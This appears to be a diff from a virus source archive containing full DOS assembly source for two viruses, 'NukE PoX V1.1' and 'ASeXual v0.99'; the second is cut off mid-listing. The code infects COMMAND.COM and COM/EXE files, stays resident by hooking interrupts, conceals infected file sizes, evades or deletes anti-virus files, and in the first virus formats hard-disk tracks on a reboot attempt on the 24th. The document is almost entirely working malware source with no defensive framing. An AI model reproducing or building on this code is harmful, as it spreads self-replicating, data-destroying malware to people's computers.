Infects *- +;-* COMMAND.COM on first Run, CTRL-ALT-DEL Aware... -* +;*- Bytes: 963 Bytes Memory: 963 Bytes *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +virus_size equ last - init_virus +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h +del_code equ 53h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h +rocko proc far + +start: jmp init_virus +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Virus Begins Here... +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +init_virus: + call doit_now ;Doit VirusMan... + +doit_now: pop bp ;Not to Lose Track + sub bp,106h ;Set our position + push ax ;Save all the registers + push bx + push cx + push dx + push si + push di + push bp + push es + push ds + + mov ax,7bcdh ;Are we resident Already? + int 21h + cmp bx,7bcdh ;Yupe... Quit Then... + je exit_com + + xor bx,bx + push cs ;Get CS=DS + pop ds + mov cx,es + + mov ax,3509h ;Hook Int 9 Please... + int 21h + mov word ptr cs:[int9+2][bp],es + mov word ptr cs:[int9][bp],bx + + mov ax,3521h ;Sometimes tend to intercept + int 21h ;This Interrupt... + mov word ptr cs:[int21+2][bp],es ;Save the Int + mov word ptr cs:[int21][bp],bx ;Vector Table + + dec cx ;Get a new Memory block + mov es,cx ;Put it Back to ES + mov bx,es:mut1 + mov dx,virus_size ;Size to `Hide' + mov cl,4 ;And all this crap hides + shr dx,cl ;your number od bytes in DX + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov ah,4ah ;Call int to do it... + int 21h + + jc exit_com + mov ah,48h + dec dx + mov bx,dx ;It's Done... Yeah! + int 21h + + jc exit_com + dec ax + mov es,ax + mov cx,8h ;Here we move our Virus into + mov es:mut2,cx ;the `Hidden' memory! + sub ax,0fh + mov di,mut3 + mov es,ax + mov si,bp + add si,offset init_virus + mov cx,virus_size + cld + repne movsb + + mov ax,2521h ;Restore Int21 with ours + mov dx,offset int21_handler ;Where it starts + push es + pop ds + int 21h + + mov ax,2509h ;Restore Int9 with ours + mov dx,offset int9_handler ;The Handler... + int 21h + + push cs + pop ds +exit_com: + cmp word ptr cs:[buffer][bp],5A4Dh + je exit_exe_file ;Its an EXE file... + mov bx,offset buffer ;Its a COM file restore + add bx,bp ;First three Bytes... + mov ax,[bx] ;Mov the Byte to AX + mov word ptr ds:[100h],ax ;First two bytes Restored + add bx,2 ;Get the next Byte + mov al,[bx] ;Move the Byte to AL + mov byte ptr ds:[102h],al ;Restore the Last of 3 Bytes + pop ds + pop es + pop bp ;Restore Regesters + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,100h ;Jump Back to Beginning + push ax ;Restores our IP (a CALL + retn ;Saves them, now we changed +int21 dd ? ;Our Old Int21 +int9 dd ? ;Our Old Int9 + +exit_exe_file: + mov bx,word ptr cs:[buffer+22][bp] ;Load CS Regester + mov dx,cs + sub dx,bx + mov ax,dx + add ax,word ptr cs:[exe_cs][bp] ;Get original CS + add dx,word ptr cs:[exe_ss][bp] ;Get original SS + mov bx,word ptr cs:[exe_ip][bp] ;Get original IP + mov word ptr cs:[fuck_yeah][bp],bx ;Restore IP + mov word ptr cs:[fuck_yeah+2][bp],ax ;Restore CS + mov ax,word ptr cs:[exe_sp][bp] ;Get original SP + mov word ptr cs:[Rock_Fix1][bp],dx ;Restore SS + mov word ptr cs:[Rock_Fix2][bp],ax ;Restore SP + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + db 0B8h ;This is now a MOV AX,XXXX +Rock_Fix1: ;XXXX is the original SS + dw 0 ;Our XXXX Value + cli ;Disable Interrupts + mov ss,ax ;Mov it to SS + db 0BCh ;This is now a MOV SP,XXXX +Rock_Fix2: + dw 0 ;The XXXX Value for SP + sti ;Enable interrupts + db 0EAh ;JMP XXXX:YYYY +fuck_yeah: + dd 0 ;Dword IP:CS (Reverse order! +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Int 9 Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int9_handler: ;Every TIME a KEY is pressed + push ax ;This ROUTINE is called! + in al,60h ;Has the user attempted a + cmp al,del_code ;CTRL-ALT-DEL + je warm_reboot ;Yes! Screw him +bye_bye: pop ax + jmp dword ptr cs:[int9] ;Nope, Leave system alone +warm_reboot: + mov ah,2ah ;Get Date Please + int 21h + cmp dl,18h ;Is it 24th of the Month? + jne bye_bye ;Yes, bye_Bye HD + mov ch,0 +hurt_me: mov ah,05h + mov dh,0 + mov dl,80h ;Formats a few tracks... + int 13h ;Hurts So good... + inc ch + cmp ch,20h + loopne hurt_me + db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot! + iret +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Dir Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +dir_handler: + pushf + push cs + call int21call ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + + mov es,bx + cmp bx,es:[16h] + jnz not_infected ;Not for us man... + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,1dh ;Is in 58 seconds? + jnz not_infected ;Nope... + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],virus_size ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected: pop es + pop bx + pop ax +no_good: iret +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Int 21 Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int21_handler: + cmp ax,4b00h ;File executed + je execute + cmp ah,11h ;Dir handler + je dir_handler + cmp ah,12h ;Next file Dir handler + je dir_handler + cmp ax,7bcdh ;Virus testing + jne int21call + jmp execute +int21call: + jmp dword ptr cs:[int21] ;Split... +execute: + push ax + push bx + push cx + push dx + push si + push di + push es + push ds + + cmp ax,7bcdh ;Was Virus testing if it was + jne continue ;Alive? If No Continue + push cs + pop ds ;If Yes, Check if COMMAND.CO + mov dx,offset command ;Is infected! And return + jmp continue2 +continue: + call check_name ;Make sure file executed + jc exit_now ;Ain't a Anti-Viral program +continue2: ;With the CRC-32 checkers + mov ax,4300h ;Get file Attribs + int 21h + jc exit + + test cl,1h ;Make sure there normal + jz open_file ;Okay there are + and cl,0feh ;Nope, Fix them... + mov ax,4301h ;Save them now + int 21h + jc exit + +open_file: mov ax,3D02h + int 21h ;Open File to Infect please + + jc exit ;Error Split + mov bx,ax ;BX File handler + mov ax,5700h ;Get file TIME + DATE + int 21h + + mov al,cl + or cl,1fh ;Un mask Seconds + dec cx ;60 seconds + dec cx ;58 seconds + xor al,cl ;Is it 58 seconds? + jz exit ;File already infected + + push cs + pop ds + mov word ptr ds:[old_time],cx ;Save Time + mov word ptr ds:[old_date],dx ;Save Date + + mov ah,3Fh + mov cx,20h + mov dx,offset ds:[buffer] ;Read first 20h bytes + int 21h + + jc exit_now ;Error Split + mov ax,4202h ;Move file pointer to end of + xor cx,cx ;file... + xor dx,dx + int 21h + + jc exit_now ;Error Split + cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE? + je exe_file ;JMP to EXE Infector + mov cx,ax + sub cx,3 ;Set the JMP + mov word ptr cs:[jump_address+1],cx + call infect_me ;Infect! + jc exit_now ;error split + mov ah,40h ;Write back the firs + mov dx,offset ds:[jump_address] ;bytes + mov cx,3h + int 21h +exit_now: + mov cx,word ptr cs:[old_time] ;Restore old time + mov dx,word ptr cs:[old_date] ;Restore Old date + mov ax,5701h + int 21h +exit_now2: + mov ah,3Eh + int 21h ;Close File now... +exit: + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + cmp ax,7bcdh ;Virus checking if alive + jne leave_now ;No, Exit normally + mov bx,ax ;Yes, Fix BX with codez +leave_now: + jmp dword ptr cs:[int21] ;Jmp back to whatever +exe_file: + mov cx,word ptr cs:[buffer+20] ;IP Regester + mov word ptr cs:[exe_ip],cx ;Save IP Regester + mov cx,word ptr cs:[buffer+22] ;CS Regester + mov word ptr cs:[exe_cs],cx ;Save CS Regester + mov cx,word ptr cs:[buffer+16] ;SP Regester + mov word ptr cs:[exe_sp],cx ;Save SP Regester + mov cx,word ptr cs:[buffer+14] ;SS Regester + mov word ptr cs:[exe_ss],cx ;Save SS Regester + push ax + push dx + call multiply ;Figure a new CS:IP + sub dx,word ptr cs:[buffer+8] + mov word ptr cs:[buffer+22],dx ;Restore New CS + mov word ptr cs:[buffer+20],ax ;Restore New IP + pop dx + pop ax + add ax,virus_size + adc dx,0 + push ax + push dx + call multiply ;Figure a new SS:SP + sub dx,word ptr cs:[buffer+8] ;Exe Size (512 Usuall + add ax,40h + mov word ptr cs:[buffer+14],dx ;New SS Pointer + mov word ptr cs:[buffer+16],ax ;New SP Pointer + pop dx + pop ax + + push bx + push cx + mov cl,7 ;Fix for Header for + shl dx,cl ;new file size in 512 + ;byte pages + mov bx,ax + mov cl,9 ;And the remainder + shr bx,cl ;after dividing by + ;512... + add dx,bx + and ax,1FFh + jz outta_here + inc dx +outta_here: + pop cx + pop bx + + mov word ptr cs:[buffer+2],ax ;Save Remainder + mov word ptr cs:[buffer+4],dx ;Save Size in 512 pag + call infect_me ;INFECT File! Yeah! + jc exit_exe + + mov ah,40h ;Write NEW EXE Header back + mov dx,offset ds:[buffer] ;to EXE File! Points to + mov cx,20h ;The Virus Now!!! ehhe + int 21h +exit_exe: + jmp exit_now + +rocko endp + +exe_ip dw 0 ;Original IP,CS,SP,SS From EXE +exe_cs dw 0 ;Header! +exe_sp dw 0 +exe_ss dw 0 +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Infection Routine... +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +infect_me proc near + mov ah,40h ;Write the New Encrypted + mov dx,offset init_virus ;Virus to File! + mov cx,virus_size + int 21h + + jc exit_error ;Error Split + mov ax,4200h + xor cx,cx ;Pointer back to beginning + xor dx,dx ;file! + int 21h + + jc exit_error ;Split Dude... + clc ;Clear carry flag + retn +exit_error: + stc ;Set carry flag + retn +infect_me endp +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Fix EXE Header...Gets new SS, CS Values for EXEs headers +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +multiply proc near + push bx + push cx + mov cl,0Ch + shl dx,cl + + mov bx,ax + mov cl,4 + shr bx,cl + + add dx,bx + and ax,0Fh + pop cx + pop bx + retn +multiply endp +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check to see if an `Anti-Viral' Product is being executed. +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +check_name proc near + push si + push cx + + mov si,dx + mov cx,128h +loop_me: + cmp byte ptr ds:[si],2Eh ;Find ASCIIZ String + je next_ok + inc si + loop loop_me +next_ok: + cmp ds:[si-2],'TO' ;Is it ??PROT.EXE (F-PROT) + jne next_1 ;Naaa + cmp ds:[si-4],'RP' + je bad_file ;Yupe... +next_1: + cmp ds:[si-2],'NA' ;Is it SCAN.EXE (McAffee) + jne next_2 ;Naaa + cmp ds:[si-4],'CS' + je bad_file ;Yupe... +next_2: + cmp ds:[si-2],'NA' ;is it ?LEAN.EXE (Clean.EXE + jne next_3 ;Naaa + cmp ds:[si-4],'EL' + je bad_file ;Yupe... +next_3: + pop cx + pop si ;good file Set CARRY FLAG + clc ;to normal + retn +bad_file: + pop cx ;Bad file, Set CARRY FLAG + pop si ;ON!!! + stc + retn +check_name endp + +command db "C:\COMMAND.COM",0 ;What to infect! +old_time dw ? +old_date dw ? +jump_address db 0E9h,90h,90h +buffer db 90h,0CDh,020h + db 30h DUP (?) +msg db "NukE PoX V1.1 - R.S" +last: +seg_a ends + + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.asex_099.asm b/MSDOS/Virus.MSDOS.Unknown.asex_099.asm new file mode 100644 index 00000000..8134a006 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.asex_099.asm @@ -0,0 +1,862 @@ +;──────────────────────────────────────────────────────────────────────────── +; ************************************************ +; ASeXuAl v0.99 - BY VIROGEN - 10-12-93 +; ************************************************ +; - Compatible with : TASM /m2 +; +; This virus is actually the continuance of the Offspring line of virii.. +; BUT I decided to change the name because 98% of the virus code has +; changed since the released of the first Offspring virus, and I felt +; this release had substantial changes that finally merit a new name! +; +; ASeXual v0.99 +; ────────────────────── +; +; TYPE : Parastic & Spawning Resident Encrypting (PSRhA) +; +; characteristics: +; This virus is a memory resident parastic COM infector and spawning +; EXE infector. It is mutative.. with only 2 bytes remain constant +; in replicated copies, but none in constant relative locations to the start +; of viral code or to each other. It infects up to 5 files in the +; current directory which a program is executed or a new drive is selected. +; It first searches out EXE hosts, and if there are none to be infected, +; it then proceeds to COM infections. All ANTI-VIR.* and CHKLST.* files +; in the current directory are killed before any file is infected. This +; virus is also kept encrypted in memory to prevent easy detection of it +; there too. It's code is stored just below the 640k boundary. +; +; activation: +; This is a non-malicious virus and it's activation is simple.. On the +; 2nd of any month, when an infected program is executed it displays : +; "ASeXual virus v0.99 - Your computer has been artificially Phucked!" +; .. while beeping and flashing the keyboard lights as well as attempting +; print screens. +; +; Do whatever you want with this virus.. but don't take my name off +; the code. .. oh yea.. and don't hold me responsible if you infect +; yourself, or someone else. It's not my problem. +; + title ASeXual v0.99 +cseg segment + assume cs: cseg, ds: cseg, ss: cseg, es: cseg + +;────────────────────────────────────────────────────────────────────── +; equates +;───────────────────────────────────────────────────────────────────── + +signal equ 7fh ; Installation check +reply equ 0fah ; reply to check + +max_inf equ 05 ; Maximum files to infect per run +max_rotation equ 9 ; number of bytes in switch byte table +parastic equ 01 ; Parastic infection +spawn equ 00 ; Spawning infection + + org 100h ; Leave room for PSP + +start: +;─────────────────────────────────────────────────────────────────────── +; Encryption/Decryption routine location +;────────────────────────────────────────────────────────────────────── +fill_space : +shit_space db 6 dup(0) ; help to keep TBAV warnings down +address_fill: jmp non_res ; only in original compilation + db 17 dup(0) ; MOV DI|SI placed here +encrypt: ; For call from memory +cx_fill db 20 dup(0) ; MOV CX,XXXX placed here +xor_inc_space db 100 dup(0) ; XOR and INC DI|SI(2) placed here +loop_fill db 10 dup(0) ; LOOP Placed Here +enc_data: +ret_byte dw 9090h ; Changes to RET (0C3h) - then back to NOP + +jmp non_res ; jump to nonresident code + +;─────────────────────────────────────────────────────────────────────── +; INT 21h - DOS function calls +;─────────────────────────────────────────────────────────────────────── + +new21 proc ; New INT 21H handler + + cmp ah, signal ; signaling us? + jne no ; nope.. + mov ah,reply ; yep, give our offspring what he wants + jmp end_21 ; end our involvment + no: + cmp ah,0Eh ; select disk? + je run_res ; yes.. let's infect + cmp ax,4b00h ; exec func? + jne end_21 ; nope.. don't infect shit + + exec_func: + cmp ch,0FBh ; Is our virus executing this prog? + je end_21 ; yes, return to orginal INT 21h + run_res: + pushf ; Push flags + push ax ; Push regs + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + push sp + push ss + + push cs ; ds=cs + pop ds + + mov ah,2fh ; Get DTA Address + int 21h ; + + mov ax,es ; Save it so we can restore it + mov word ptr old_dta,bx + mov word ptr old_dta+2,ax + push cs ; es=cs + pop es + + call encrypt_mem ; decrypt virus in memory + call resident ; Call infection kernal + call encrypt_mem ; encrypt virus in memory + + mov dx,word ptr old_dta ; restore DTA + mov ax,word ptr old_dta+2 ; + mov ds,ax ; + mov ah,1ah ; + int 21h ; + + pop ss ; Pop regs + pop sp + pop es + pop ds + pop bp + pop si + pop di + pop dx + pop cx + pop bx + pop ax + popf ; Pop flags + end_21 : + db 0eah ; jump to original int 21h +old21_ofs dw 0 ; Offset of old INT 21H +old21_seg dw 0 ; Seg of old INT 21h +new21 endp ; End of handler + +;─────────────────────────────────────────────────────────────────────── +; Encrypt/Decrypt - For memory encryption +;─────────────────────────────────────────────────────────────────────── +encrypt_mem proc + lea di,memory_encrypted + mov cx,(offset vend-offset memory_encrypted)/2 + mem_xor_loop: + db 81h,35h ; XOR word ptr [DI], + xor_mem dw 0 ; XXXX : 0-5999 + inc di ; increment pointer + inc di ; increment pointer + loop mem_xor_loop ; loop.. + ret ; return +encrypt_mem endp +memory_encrypted: ; start encryption in memory here.. +;─────────────────────────────────────────────────────────────────────── +; INT 24h - Critical Error Handler +;─────────────────────────────────────────────────────────────────────── +eh proc + mov al,3 ; fail call + iret ; interrupt return +eh endp +;─────────────────────────────────────────────────────────────────────── +; Clear ff/fn buf +;─────────────────────────────────────────────────────────────────────── +clear_buf proc + mov word ptr fcb,0 ; Clear ff/fn buffer + lea si, fcb + lea di, fcb+2 + mov cx, 22 + cld + rep movsw + ret +clear_buf endp +;─────────────────────────────────────────────────────────────────────── +; Findfirst +;─────────────────────────────────────────────────────────────────────── +ff_func proc + + call clear_buf ; Clear FCB + + mov ah, 4eh ; Findfirst + xor cx, cx ; Set normal file attribute search + mov dx, fname_off + int 21h + + ret +ff_func endp +;─────────────────────────────────────────────────────────────────────── +; Findnext +;─────────────────────────────────────────────────────────────────────── +fn_func proc + + mov ah,4fh ; find next file + int 21h ; + + ret +fn_func endp +;─────────────────────────────────────────────────────────────────────── +; Fills encryption/decryption routine +; +; call with DX=word to fill with +;─────────────────────────────────────────────────────────────────────── +clear_encryptor proc + + mov cx,78 ; 156 bytes + lea si,fill_space ; beginning of null space + fill_loop: + mov [si],dx ; fill null bytes with same op + inc si ; + inc si ; + loop fill_loop ; + + ret +clear_encryptor endp +;─────────────────────────────────────────────────────────────────────── +; Resident - This is called from our INT 21h handler +;─────────────────────────────────────────────────────────────────────── +resident proc + + xor ax,ax ; es=segment 0 + mov es,ax ; .. + mov ax,es:[24h*4+2] ; get segment of INT 24h + mov bx,es:[24h*4] ; get offset of INT 24h + mov old_eh_seg,ax ; save segment + mov old_eh_off,bx ; save offset + cli ; turn off interrupts + mov es:[24h*4+2],ds ; set segment to our handler + lea ax,eh ; + mov es:[24h*4],ax ; set offset to our handler + sti + + push ds ; es=ds + pop es + + ; Set DTA address - This is for the + mov ah, 1ah ; findfirst/findnext functions + lea dx, fcb + int 21h + + mov byte ptr vtype,spawn ; infection type = spawning + mov word ptr set_bp,0000 ; BP=0000 on load + mov byte ptr inf_count,0 ; null infection count + mov fname_off, offset spec ; Set search for CHKLIST.* + mov word ptr mov_di,offset enc_data ; offset past encrypt. + + cont_res: +;─────────────────────────────────────────────────────────────────────── +; KIll chklist.* (MSAV,CPAV) and anti-vir.* (TBAV) files +;─────────────────────────────────────────────────────────────────────── + xor cx,cx ; keep track of which we've killed + kill_another_spec: + push cx + + call ff_func ; find first + + jc done_kill ; none found.. done + kill_loop: + mov ax,4301h ; Set file attributes to null + xor cx,cx ; + lea dx,f_name ; + int 21h ; + + mov ah,3ch ; create file = nullify size + xor cx,cx ; + lea dx,f_name ; + int 21h ; + push ax ; get handle + pop bx ; + + mov ah,3eh ; close file + int 21h ; + + mov ah,41h ; delete the file to finish 'er off + lea dx,f_name ; + int 21h ; + call fn_func + jnc kill_loop ; if more then kill 'em + + done_kill: + pop cx ; restore spec counter + inc cx ; increment spec counter + mov fname_off,offset spec2 ; new file spec to kill + cmp cx,2 ; have we already killed both? + jne kill_another_spec ; nope.. kell 'em + + mov fname_off,offset fname1 + find_first: + call ff_func ; findfirst + + jnc next_loop ; if still finding files then loop + jmp exit ; if not.. then end this infection + next_loop : + cmp byte ptr vtype, parastic ; parastic infection? + je start_inf ; yes, skip all this + + mov ah,47h ; get directory for + xor dl,dl ; ..spawning infections + lea si,file_dir ; + int 21h ; + + cmp word ptr f_sizel,0 ; Make sure file isn't 64k+ + je ok_find ; for spawning infections + jmp find_file + + ok_find: + xor bx,bx ; + lm3 : ; find end of directory name + inc bx ; + cmp file_dir[bx],0 + jne lm3 + + mov file_dir[bx],'\' ; append backslash to path + inc bx + + mov cx,13 ; append filename to path + lea si,f_name + lea di,file_dir[bx] + cld + rep movsb + + xor bx,bx + loop_me: ; search for filename ext. + inc bx + cmp byte ptr fcb+1eh [bx], '.' + jne loop_me + + inc bx ; change it to COM + mov word ptr fcb+1eh [bx],'OC' + mov byte ptr fcb+1eh [bx+2],'M' + start_inf: +;─────────────────────────────────────────────────────────────────────── +; Change jump & fill space register +;─────────────────────────────────────────────────────────────────────── + + cmp byte ptr new_code, 0BFh + jne inc_both + mov nop_sub, 3fh + mov byte ptr new_code, 0B7h + mov byte ptr push_reg, 4Fh +inc_both: + inc nop_sub ; increment register + inc byte ptr new_code ; increment register + inc byte ptr push_reg ; increment register + + cmp nop_sub, 044h ; don't use SP + je inc_both +done_change_jmp: + + cmp byte ptr vtype, parastic ; parastic infection? + je parastic_inf ; yes.. so jump + +;─────────────────────────────────────────────────────────────────────── +; Spawning infection +;─────────────────────────────────────────────────────────────────────── + + mov word ptr new_code+1,offset fill_space + + lea dx,f_name + mov cx, 02h ; read-only + or cx, 01h ; hidden + mov ah, 3ch ; Create file + int 21h ; Call INT 21H + jnc contin ; If Error-probably already infected + jmp no_infect + contin: + inc inf_count + mov bx,ax + + jmp encrypt_ops +;─────────────────────────────────────────────────────────────────────── +; Parastic infection +;─────────────────────────────────────────────────────────────────────── + parastic_inf : + + + lea si,f_name ; Is Command.COM? + lea di,com_name + mov cx,11 + cld + repe cmpsb + + jne cont_inf0 ; Yes, don't infect + jmp no_infect + + cont_inf0: + mov ax,3d02h ; Open file for reading & writing + lea dx,f_name ; Filename in FF/FN buffer + int 21h + + jnc cont_inf1 ; error, skip infection + jmp no_infect + + cont_inf1: + mov bx,ax ; get handle + + mov ah,3fh ; Read first bytes of file + mov cx,07 + lea dx,org_bytes + int 21h + + cmp byte ptr org_bytes+4,0C3h ; already infected? + jne cont_inf ; nope let's infect this sucker + + mov ah,3eh + int 21h + jmp no_infect + + cont_inf: + inc inf_count + mov ax,4202h ; Set pointer to end of file, so we + xor cx,cx ; can find the file size + xor dx,dx + int 21h + + mov word ptr set_bp,ax ; Change the MOV BP inst. + add ax, offset enc_data + mov word ptr mov_di,ax ; chg mov di,xxxx + + mov ax,4200h ; set file pointer to beginning + xor cx,cx + xor dx,dx + int 21h + + mov ax,word ptr f_sizeh ; save new address for parastic + add ax,offset fill_space ; + mov word ptr new_code+1,ax ; + + mov ah,40h ; write new first 7 bytes + mov cx,7 ; .. jumps to virus code + lea dx,new_code ; + int 21h ; + + mov ax,4202h ; Set file pointer to end of file + xor cx,cx ; + xor dx,dx ; + int 21h + +;─────────────────────────────────────────────────────────────────────── +; Change encryptions ops +;─────────────────────────────────────────────────────────────────────── +encrypt_ops: + push bx ; save file handle + + cmp pad_bytes,100h ; no more increase in file size? + je reset_pad ; if yes, reset + inc word ptr pad_bytes ; Increase file size + inc word ptr b_wr ; make note of the increase + jmp pad_ok ; don't reset pad + reset_pad: + mov word ptr pad_bytes,0 ; reset pad size + sub word ptr b_wr,100h ; make note of decrease + + pad_ok: + + cmp inc_op,47h ; change ops from DI to SI + jne set2 ; jmp-change ops to SI + dec inc_op ; .. change code to use DI + dec byte ptr xor_op+1 ; + dec di_op ; + dec byte ptr enc_addr ; + dec byte ptr enc_add+1 ; + jmp chg_three ; + set2: + inc inc_op ; increment code to use SI + inc byte ptr xor_op+1 ; + inc di_op ; + inc byte ptr enc_addr ; + inc byte ptr enc_add+1 ; + + chg_three: + mov dh,byte ptr nop_sub ; which byte did we use to fill space? + cmp dh,48h ; if INC AX then we need to reset it + jne _change ; else decrement it + mov dh,40h ; reset to DEC AX + _change: + cmp dh,41h ; Don't use INC CX.. + jne no_conflict ; + mov dh,48h ; Change it to DEC AX instead + no_conflict: + cmp dh,47h ; Don't use INC DI + jne no_conflict2 ; + mov dh,4Bh ; Use DEC BX Instead + no_conflict2: + cmp dh,46h ; Don't use INC SI + jne no_conflict3 + mov dh,0FBh ; Use STI instead + no_conflict3: + mov dl,dh ; mov into word reg dx + + call clear_encryptor ; fill encryption routine with op + + mov ah,inc_op ; get register to increment + mov bx,change_num ; get current rotate count + cmp bh,0 ; are we at the end of the INCs? + jne no_reset_change ; nope.. continue + mov bh,99 ; reset INC #1 position + xor bl,bl ; reset INC #2 position + no_reset_change: + inc bl ; Increment INC #2 position + dec bh ; Decrement INC #1 position + mov cl,bl ; store position in CL to add + xor ch,ch ; high byte = 0 + lea si,xor_inc_space ; + push si ; save address + push si ; save it twice + add si,cx ; add INC #2 position to SI + mov byte ptr [si],ah ; move INC #2 into address + pop si ; restore address of fill_space + mov cl,bh ; store position in CL to add + xor ch,ch ; high byte = 0 + add si,cx ; add INC #1 position to SI + mov byte ptr [si],ah ; move INC #1 into address + mov change_num,bx ; store updated rotation number + + pop si ; get xor_inc_space address + mov ax,xor_pos ; get old position of XOR + cmp ax,95 ; is it at the end of the buffer? + jne xor_ok ; nope.. increment its position + mov ax,10 ; reset position to buffer+10 + xor_ok: + inc ax ; increment position pointer + add si,ax ; build pointer + mov dx,word ptr xor_op ; get XOR op + mov [si],dx ; place it into position + mov xor_pos,ax ; save new XOR location + + mov ax,addr_pos ; get old position of MOV DI|SI + cmp ax,17 ; at end of buffer? + jne addr_inc ; nope.. go increment + xor ax,ax ; yes.. reset to null + addr_inc: + inc ax ; increment pointer + lea di,address_fill ; get buffer address + add di,ax ; build pointer + lea si,di_op ; get address of op + mov cx,3 ; 3 bytes + rep movsb ; copy op to location in buffer + mov addr_pos,ax ; save new MOV DI|SI position + + mov ax,cx_pos ; get old position of MOV CX + cmp ax,0 ; back to beginning of buffer? + jne cx_dec ; nope.. decrement location + mov ax,17 ; reset to last position in buffer + cx_dec: + dec ax ; decrement pointer + lea di,cx_fill ; get address of buffer + add di,ax ; build pointer to new location + lea si,cx_op ; get address of MOV CX op + mov cx,3 ; 3 bytes length + rep movsb ; copy to new location + mov cx_pos,ax ; save new position of MOV CX + + mov ax,loop_pos ; get old position of LOOP + cmp ax,0 ; at beginning of buffer? + jne loop_inc ; nope decrement + mov ax,8 ; reset to end of buffer + loop_inc: + dec ax ; decrement pointer + lea di,loop_fill ; get address of buffer + add di,ax ; build pointer + mov dl,0E2h ; 0E2XX=LOOP XXXX + xor ch,ch ; high byte=null + mov cl,9Ah ; calculate LOOP offset + sub cx,ax ; + mov dh,cl ; save new offset + mov [di],dx ; write LOOP op + mov loop_pos,ax ; save new position of LOOP + +;─────────────────────────────────────────────────────────────────────── +; Get random XOR number, save it, copy virus, encrypt code +;─────────────────────────────────────────────────────────────────────── + d2: + mov ah,2ch ; + int 21h ; Get random number from clock - sec/ms + lea si,xor_inc_space+2 ; build pointer to XOR location+2 + add si,xor_pos ; + mov word ptr [si],dx ; save encryption # + push dx + mov word ptr xor_mem,0000 + + mov si,0100h ; 100h=start of virus in memory + lea di,vend+50 ; destination + mov cx,offset vend-100h ; bytes to move + cld + rep movsb ; copy virus outside of code + + pop dx + mov word ptr xor_mem,dx + enc_addr: + mov di,offset vend + enc_add: + add di,offset enc_data-100h+50 ; offset of new copy of virus + go_enc: + mov byte ptr ret_byte,0c3h ; make encryption routine RET + call encrypt ; encrypt new copy of virus + mov byte ptr ret_byte,90h ; Reset it to no RETurn +;─────────────────────────────────────────────────────────────────────── +; Write and close new infected file +;─────────────────────────────────────────────────────────────────────── + pop bx + mov cx, offset vend-100h ; # of bytes to write + add cx, pad_bytes + lea dx, vend+50 ; Offset of buffer + mov ah, 40h ; -- our program in memory + int 21h ; Call INT 21H function 40h + + mov ax,5701h ; Restore data/time + mov cx,word ptr f_time ; time from FCB + mov dx,word ptr f_date ; date from FCB + int 21h + + + close: + mov ah, 3eh ; close file + int 21h + + no_infect: + find_file: + + cmp inf_count, max_inf ; Max files found? + je exit ; yes, end infection + call fn_func + jc exit ; if no files found.. quit + jmp next_loop ; infect the next file + + exit : + cmp inf_count,0 ; Start parastic infection on next run + jne find_done ; nope.. we're done + cmp byte ptr vtype, parastic ; Parastic infection done? + je find_done ; yep, exit already + mov fname_off, offset fname2 ; Point to new filespec + mov byte ptr vtype, parastic ; virus type = parastic + jmp find_first ; do it again for parastic + + + find_done: + xor ax,ax + mov es,ax ; es = 0 + cli ; interrupts off + mov ax,old_eh_seg ; get old int 24h segment + mov bx,old_eh_off ; get old int 24h offset + mov es:[24h*4+2],ax ; restore int 24h segment + mov es:[24h*4],bx ; restore int 24h offsetn + sti ; interrupts on + + xor dx,dx ; fill encryption routine with 0 + call clear_encryptor ; .. maybe 